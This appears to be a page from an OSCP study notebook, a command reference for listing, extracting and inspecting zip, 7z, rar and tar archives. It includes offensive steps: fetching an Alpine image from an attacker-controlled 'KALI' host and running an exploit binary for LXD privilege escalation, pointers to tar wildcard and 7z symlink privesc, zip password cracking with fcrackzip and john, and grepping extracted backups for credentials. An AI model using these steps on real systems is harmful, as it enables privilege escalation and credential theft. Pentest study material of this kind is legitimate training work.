Pearson's OSCP Notebook

Archives - unzip 7z zip

Properties2
tags7z, unzip, zipinfo, unrar, tar, tar.gz, zip, archives, extraction, install, download
aliasesArchives, 7z, unzip

5 min read

Archives — unzip, 7z, zipinfo, unrar

Ctrl+F: 7z x · 7z l -slt · zipinfo -v · unzip · fcrackzip · sitebackup3.zip

After Gobuster / smbclient / Git & GitHub you often land .zip, .7z, .tar.gz, or backup archives. Extract and inspect before grepping for creds.

Install (Kali):

sudo apt install p7zip-full unzip zipinfo unrar -y
which 7z unzip zipinfo unrar

.tar / .tar.gz / .tgz — tar (full flags + privesc) · quick table below · install → Install Download and Run

📌 Quick picker

FormatList contentsExtract
.zipzipinfo -v file.zip · unzip -lunzip file.zip · 7z x file.zip
.7z7z l file.7z · 7z l -slt file.7z7z x file.7z
.rarunrar l file.rarunrar x file.rar
.tar.gz / .tgztar -tzf file.tar.gztar -xzvf file.tar.gz
.tartar -tvf file.tartar -xvf file.tar
.tar.bz2tar -tjvf file.tar.bz2tar -xjvf file.tar.bz2
unknownfile archive · binwalk archivetry 7z x (handles many formats)

📌 tar / .tar.gz / .tgz

Install (Kali): tar is built-in. Optional: sudo apt install -y p7zip-full for 7z x archive.tar.gz.

List without extracting

tar -tzf file.tar.gz              # gzip tarball — list
tar -tvf file.tar                 # plain tar
tar -tjvf file.tar.bz2            # bzip2

Extract

tar -xzvf file.tar.gz             # e**X**tract, gzip, **V**erbose, **F**ile
tar -xvf file.tar
tar -xjvf file.tar.bz2
tar -xzvf tool.tar.gz -C /opt/    # extract into /opt/
FlagMeaning
-xeXtract
-zgzip (.tar.gz, .tgz)
-jbzip2 (.tar.bz2)
-vverbose
-fFilename (must be last or glued: -xzf)
-C DIRchange to DIR before extract
-tlist only (no extract)

Create archive (pack)

tar -czvf backup.tar.gz ./folder/     # create gzip tarball
tar -czvf flask.tar.gz *              # cron wildcard context — [[Linux#Wildcard injection in cron (tar *)]]

When NOT to extract .tar.gz

Some files are opaque blobs for another program — extracting breaks them:

FileTool expects tarballWrong move
LXC Alpine image alpine-v3.24-x86_64-20260723_1119.tar.gzlxc image import file.tar.gz · ./exx -f file.tar.gztar -xzf then import folder
Docker save (rare)docker load -i image.tarmanual untar
# LXC privesc — transfer intact
wget http://KALI:8080/alpine-v3.24-x86_64-20260723_1119.tar.gz
./exx -f alpine-v3.24-x86_64-20260723_1119.tar.gz

→ lxc - LXD Privilege Escalation - EDB 46978 · Install Download and Run > 📌 1b) Archives — extract vs use as-is

Source tarball → install workflow

wget https://example.com/tool-1.0.tar.gz
tar -xzvf tool-1.0.tar.gz && cd tool-1.0
cat README INSTALL
./configure && make && sudo make install    # or pip install .

→ Install Download and Run · Basic Commands > 📌 Archives — tar

📌 7z (p7zip) — primary OSCP tool

Privesc abuse: Writable dir + root/sudo runs 7za ... -snl → symlink + @listfile reads arbitrary files → 7zip -snl Symlink Read - usage_management Privilege Escalation

7z reads zip, 7z, rar, tar, gzip, bzip2, and more.

Extract

7z x sitebackup3.zip              # extract with full paths (eXtract with paths)
7z x sitebackup3.zip -o./out      # output directory
7z x backup.7z -p'Password123'    # password-protected
7z x archive.zip -aoa             # overwrite All without prompt
SwitchMeaning
xeXtract with directories
eextract flat (no folder structure)
-oDIRoutput path (no space: -o./out)
-pPASSpassword
-aoaoverwrite all existing files

List / inspect (before extracting)

7z l sitebackup3.zip              # table — files, sizes, dates
7z l -slt sitebackup3.zip         # technical list — per-file metadata (Method, CRC, Attributes)
7z l -ba sitebackup3.zip          # bare — paths only (good for piping)

-slt = Show technical info for list — shows compression method, solid block, encrypted flag, timestamps. Use when hunting password-protected entries or odd paths.

# Encrypted? Look for "Encrypted = +" in -slt output
7z l -slt secret.zip | grep -i encrypted

Test integrity

7z t sitebackup3.zip              # test archive (no extract)

📌 zipinfo — ZIP metadata

zipinfo sitebackup3.zip           # summary + file list
zipinfo -v sitebackup3.zip        # verbose — extra fields, offsets, compression
zipinfo -1 sitebackup3.zip        # filenames only (one per line)
zipinfo -h sitebackup3.zip        # header lines only
FlagPurpose
-vVerbose — central directory, per-entry details
-1Filenames only
-lLong format (Unix permissions if stored)
-sShort format

OSCP use: zipinfo -v before full extract — spot ../ paths (zip slip), hidden config.php, .env, id_rsa.

📌 unzip

unzip -l sitebackup3.zip          # list
unzip sitebackup3.zip              # extract here
unzip sitebackup3.zip -d ./out     # extract to directory
unzip -o sitebackup3.zip           # overwrite without prompt
unzip -P 'pass' sitebackup3.zip    # password (visible in process list — prefer 7z -p)
unzip -j sitebackup3.zip           # junk paths — flat extract
unzip -q sitebackup3.zip file.txt  # extract single file quietly

📌 unrar

unrar l backup.rar
unrar x backup.rar                 # full paths
unrar x -p'pass' backup.rar

📌 Password-protected archives

# Try common passwords first
7z x backup.zip -p'password'
7z x backup.zip -p'Password123'
7z x backup.zip -p'companyname'
 
# Crack zip password — fcrackzip (brute/dictionary)
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
fcrackzip -b -c 'aA1!' -l 1-6 -u backup.zip   # brute short
 
# john (if hash extracted)
zip2john backup.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

→ John · Hashcat (rar/zip modes if hash format supported)

📌 OSCP workflow — backup / download find

# 1. Identify
file sitebackup3.zip
7z l sitebackup3.zip
zipinfo -v sitebackup3.zip
 
# 2. Extract
7z x sitebackup3.zip -o./backup
 
# 3. Hunt creds in extracted tree
grep -rni "password\|passwd\|secret\|apikey\|token" ./backup 2>/dev/null
find ./backup -name "*.config" -o -name ".env*" -o -name "*.sql" -o -name "*.bak"
 
# 4. Nested archive?
find ./backup -type f \( -name "*.zip" -o -name "*.7z" -o -name "*.gz" \) -exec 7z l {} \;

Nested / embedded: File Analysis (binwalk -e, foremost)

📌 zip slip (path traversal in archives)

Malicious entries like ../../etc/cron.d/evil — extract only after listing:

zipinfo -1 backup.zip | grep '\.\.'
7z l backup.zip | grep '\.\.'
# Extract to isolated dir; don't run as root on unknown archives
7z x backup.zip -o/tmp/safe_extract

📌 Quick cheat sheet

# zip / 7z
7z x sitebackup3.zip
7z l -slt sitebackup3.zip
zipinfo -v sitebackup3.zip
unzip -l sitebackup3.zip && unzip sitebackup3.zip -d ./out
 
# tar — extract
tar -tzf backup.tar.gz              # list
tar -xzvf backup.tar.gz             # extract
tar -xzvf tool.tar.gz -C /opt/
 
# tar — create
tar -czvf backup.tar.gz ./dir/
 
# tar.gz — do NOT extract (LXC image)
wget http://KALI:8080/alpine-v3.24-x86_64-20260723_1119.tar.gz
./exx -f alpine-v3.24-x86_64-20260723_1119.tar.gz
 
# locked zip
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt locked.zip

Graph View

Backlinks